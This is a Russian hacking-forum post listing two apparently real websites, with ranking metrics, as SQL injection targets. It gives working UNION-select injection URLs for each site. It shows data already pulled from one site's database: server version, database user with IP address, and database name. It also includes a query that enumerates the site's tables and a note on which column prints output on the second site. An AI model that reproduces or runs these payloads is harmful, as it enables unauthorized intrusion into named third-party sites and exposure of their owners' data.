Форум АНТИЧАТ - Показать сообщение отдельно

inuitcircumpolar.com
тИц = 30 PR = 5

Цитата:

http://www.inuitcircumpolar.com/index.php?ID=1+union+select+1,1,3,4,5,6,7,8,9,0,1, concat_ws(0x3a,version(),user(),database()),3,4,5, 6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6--&Lang=En
version:5.0.51-log
user :indelta_cms@75.126.146.102
database:indelta_icc

Цитата:

SQL-injection
http://www.inuitcircumpolar.com/index.php?ID=1+union+select+1,1,3,4,5,6,7,8,9,0,1, 2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6--&Lang=En

Таблицы:

Цитата:

http://www.inuitcircumpolar.com/index.php?ID=1+union+select+1,1,3,4,5,6,7,8,9,0,1, table_name,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 ,3,4,5,6+from+information_schema.tables--&Lang=En

------------------------------------------------------------------
pixheaven.net
тИц = 20 PR = 5

Цитата:

http://www.pixheaven.net/galerie_us.php?id=-3+union+select+1,2,3,4,5,6,7,8,9/*

Вот скуля,принтабельное поле - 7

Цитата:

http://www.pixheaven.net/galerie_us.php?id=-3+union+select+1,2,3,4,5,6,version(),8,9/*

J\Очень интересно выводиться версия,но выводиться ограниченно =( то есть можно вывести только числовые значения